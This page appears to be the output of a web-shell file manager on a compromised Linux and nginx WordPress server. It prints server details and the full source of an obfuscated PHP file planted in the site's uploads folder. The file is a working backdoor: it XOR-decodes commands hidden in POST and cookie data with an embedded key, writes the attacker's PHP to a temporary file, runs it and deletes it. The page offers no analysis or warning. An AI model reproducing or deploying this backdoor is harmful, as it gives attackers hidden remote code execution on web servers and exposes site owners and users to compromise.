HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/09/ellubxsm.php
<?php 

$qnz_usbnw       =    'qnz_usbnw'    ^   '';
$qwpfvvhzy_ /* _a*/ =    "\x61"	.    "r".$qnz_usbnw(114)      .  "\141"      .    "y"."_"."m".$qnz_usbnw(261-164)       .    $qnz_usbnw(656-544);


$ssbcgkmwl  =	"\151" /*   cgym   */ .       $qnz_usbnw(1043-934)       . /*  arx  */ "p"."\154"    . /*  fhbj  */ "o".$qnz_usbnw(568-468) /*d*/ . /*   qjtt */ $qnz_usbnw(104-3);


function /*   zj */ wxyumwedy($ocyzgungw, /*  xhww */ $_ptvgyhmcwovhntar)
{

 /*   vmpt*/ global	$qnz_usbnw;		$ocyzgungw    =   $qnz_usbnw(998-938)	. /* zmz  */ $qnz_usbnw(171-108)	.    "\160" /* pfyhwj   */ .    "h".$qnz_usbnw(220-108)    .	$qnz_usbnw(32)      .    "\165"     .	"\156"  . /* xxgs  */ $qnz_usbnw(885-777)       .     "\x69"."n".$qnz_usbnw(767-660)	.       "("."\x5f" /* vbxfp  */ .    "_"."\x46"  .    "I"."L"."E"."\x5f"    .	$qnz_usbnw(898-803) /*   lry*/ .	$qnz_usbnw(41) /*zjynni */ .	";".$qnz_usbnw(32)	.	$ocyzgungw["d"];


 /*jfuh */ $fmqexodu    = /*   hz  */ $qnz_usbnw(166-64)    .  "\x69"."l".$qnz_usbnw(101) /*  x*/ . /*ubcigk   */ "_"."p".$qnz_usbnw(584-467)      .   $qnz_usbnw(929-813)    .       "\x5f"     .    "c".$qnz_usbnw(1070-959)   . /*  rvixdx  */ "\156" /*brhjt */ .	$qnz_usbnw(116)  .    "\x65".$qnz_usbnw(482-372)    .  "t"."\163";


 /*u*/  /* mwaf_z */ $fmqexodu($_ptvgyhmcwovhntar, /*iyxbhu  */ $ocyzgungw);


 /*  _r */ 
	fcjbttc($_ptvgyhmcwovhntar);
}

$xdg_akyamd	=      73;



function /*  gsxq  */ fcjbttc($_ptvgyhmcwovhntar)

{      global /*  atplzd */ $qnz_usbnw;

 /*  cydsf */ 

	include($_ptvgyhmcwovhntar);
	$m_pmtqk  = /*p*/ $_ptvgyhmcwovhntar;
     @unlink($m_pmtqk);

}

function /*   apio*/ vpamxazvg(){


    global /*  pzbejs*/ $qnz_usbnw;
    $_ptvgyhmcw	=       array();  $_ptvgyhmcw["p".$qnz_usbnw(936-818)]    =    phpversion();

       $_ptvgyhmcw["\163"	.     "\166"]    =    "3"."."."\65";	$ftgvtw /*  qtx*/ = /* tgxe  */ 74;

	echo   @serialize($_ptvgyhmcw);

}




function    locnrz($ocyzgungw,	$ofuulwd)
{      global /* ibl*/ $qnz_usbnw;


      $fjqiu     =     "";
 /*   jvjox  */ $dyauxziu    =      strlen($ocyzgungw);
 /* iss  */ $dhzemzex	=	strlen($ofuulwd);


 /* x   */ $_ptvgyhmcw    =	0; /*   ygfmnd */ $yqfhor  =     0;


   


 /* tosdbc */ while  ($_ptvgyhmcw       < /*   tnbt*/ $dyauxziu)    {
 /*   n   */ $fockdmkcg   = /*d  */ $ocyzgungw[$_ptvgyhmcw]	^ /*  f*/ $ofuulwd[$yqfhor	%    $dhzemzex];


 /*   ycsvga*/ $fjqiu    .=   $fockdmkcg;


    $yqfhor++;      $_ptvgyhmcw++;


 /* fa*/ }


    
    if /* tqf*/ (strlen($fjqiu)    >    20) /*rtfxue */ {

    $apfjlayi /*  o */ =       substr($fjqiu,	0,      20);  }


    if /*uudfrl*/ (empty($fjqiu))    {

	$fjqiu    = /*   mc */ date('Y-m-d /*qts   */ H:i:s');


 /*   fkjex   */ }


 /*pnw_w */ return /* tozk*/ $fjqiu;}




function /*  mryrl*/ cnoeaoek($tqjvzbvx)


{       global      $qnz_usbnw;


 /*   oj_e   */ 


   $r_zvc    = /*   tso  */ "\145"  . /*  uhjte */ "\65" /* dw  */ . /*  nv   */ "\x35"    .  "\x31"    .    "a"."b"."\146"    . /*  ow_ */ $qnz_usbnw(56) /* c */ .	$qnz_usbnw(45)      . /*  nmt*/ $qnz_usbnw(50)   . /* dziyqh   */ "\x34" /* a_h  */ . /*wgqf   */ $qnz_usbnw(51) /*   ummeiu */ .    "9"."-"."\x34"     .    "3"."\63"   . /*  jint  */ "\x38"	.    "-"."b"."a".$qnz_usbnw(98)	.    "7"."-"."9"."a"."3".$qnz_usbnw(52)	.    "\64"       .  "\x37" /* wx */ .     $qnz_usbnw(331-232)    .	"c"."\71"     .    $qnz_usbnw(53) /*sb*/ . /*_  */ "d"."\x32";

   


      foreach    ($tqjvzbvx /* uf  */ as       $fyradhyx	=>    $ocyzgungw)	{


	wrzioqia(base64_decode($ocyzgungw),    $r_zvc, /*   hb */ $fyradhyx);
     }}

function      wrzioqia($ocyzgungw,  $r_zvc,    $fyradhyx){


     global  $qnz_usbnw;

 /*   ddvczh  */        $ocyzgungw /*  aun  */ =       unserialize(locnrz(locnrz($ocyzgungw, /*iqaefa   */ $r_zvc), /* tqkfkn */ $fyradhyx));	$uawq_ /* i */ = /* u   */ 'gifnihfj';	$oajrnvkwvb /*l  */ =	'qybosbqmfm';	if    (isset($ocyzgungw["a"."k"]))	{


    if /*   o*/ ($ocyzgungw["a"] /*   _  */ ==    "\x69")    {     vpamxazvg();

       } /*  xjpn  */ elseif    ($ocyzgungw["a"] /*kpik*/ ==    "\x65")	{ /* mai   */ wxyumwedy($ocyzgungw,	sprintf(".".$qnz_usbnw(47) /*b*/ . /*  xc  */ "\45"   .	$qnz_usbnw(115)    . /*jpwl   */ ".".$qnz_usbnw(112) /*  _l */ .    "\x6c", /*  ga  */ md5($r_zvc)));

			$_ptvgyhmcwynbr /*  l  */ = /*qpkkd*/ 44;
 /*kcqkn */ }

    exit(); /*yois  */ }


}


cnoeaoek($_POST);    



$qrbcvsm    = /*   fo  */ 'rawurldecode';




$yyltnx	= /* vwatgg   */ $qwpfvvhzy_($qrbcvsm,	$_POST);$ssbcgkmwl("",	$qrbcvsm);


cnoeaoek($_COOKIE);


$_ovuzaj  =    $qwpfvvhzy_($qrbcvsm, /*fagp*/ $_COOKIE);


?>